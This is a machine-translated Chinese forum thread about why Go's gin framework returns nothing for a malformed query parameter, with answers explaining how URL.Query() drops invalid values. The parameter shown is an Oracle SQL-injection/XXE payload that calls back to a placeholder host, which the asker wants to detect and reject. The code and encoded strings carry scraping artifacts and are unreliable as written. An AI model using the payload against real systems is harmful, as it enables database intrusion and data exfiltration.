運行以下go代碼:
package main
import (
"fmt"/span>
"github.com/gin-gonic/gin"/span>
)
func main() {
r := gin.Default()
r.GET("/", func(c *gin.Context) {
qParam, ok := c.GetQuery("fromDate") //qParam是nil。
query := c.Request.URL.Query() //query是空的。
rawQuery := c.Request.URL.RawQuery //包含引數
fmt.Println(qParam, ok, query, rawQuery)
c.JSON(200, gin.H{
"message"。"pong",
})
})
r.Run("localhost:8181")
}
使用下面的查詢引數,golang似乎沒有回傳它:
fromDate=%7bbase%7d%7c%7cextractvalue(xmltype('%xxx;]>'),'/l')
雖然它存在于URL.RawQuery中。
除錯截圖
我需要訪問這個值,以便我可以驗證它并回傳一個錯誤代碼,但是由于它被回傳為nil,我不能這樣做。
uj5u.com熱心網友回復:
Gin c.Query()和URL.Query()是一樣的:
Query回傳鍵入的url查詢值,如果它存在,否則它回傳一個空字串("")。它是c.Request.URL.Query().Get(key)的捷徑。
而URL.Query()默默地拋棄了無效的引數。
您上面顯示的查詢引數是無效的。你應該在呼叫服務器端點之前正確地轉義原始字串。
如果這不在您的控制范圍內,您可能就沒有運氣了。您可以嘗試修復原始引數,但這是任意的,而且不具有可擴展性。
為了記錄在案,你的原始查詢字串可能是這樣的:
{base}||extractvalue(xmltype('< ! DOCTYPE root [<! ENTITY xxx SYSTEM {base}"http://{domain}/ext1"> xxx;]>'),'/l'/span>)
uj5u.com熱心網友回復:
如果你的原始查詢字串是:
fromDate={base}||extractvalue(xmltype('< ! DOCTYPE root [<! ENTITY % xxx SYSTEM {base}"http://{domain}/ext1">%xxx;]>'),'/l')
那么你應該這樣編碼查詢(我不認為這是一個好的方法):
fromDate=%7bbase%7d%7c%7cextractvalue(xmltype(%27%3C! DOCTYPE%20root%20【%3C! ENTITY%20%25%20xxx%20SYSTEM%20%7bbase%7d%22http%3A%2f%2f%7bdomain%7d%2fext1%22%3E%25xxx%3b]%3E%27)。) %27%2fl%27)
因為你原始字串中的'%'被編碼為'%'而不是'%',所以'%%'會被決議出錯。
轉載請註明出處,本文鏈接:https://www.uj5u.com/yidong/313487.html
標籤:
上一篇:向兩個具有相同底層陣列的分片追加,為什么會出現這樣的結果?
下一篇:在不運行組合管道的情況下更新屬性
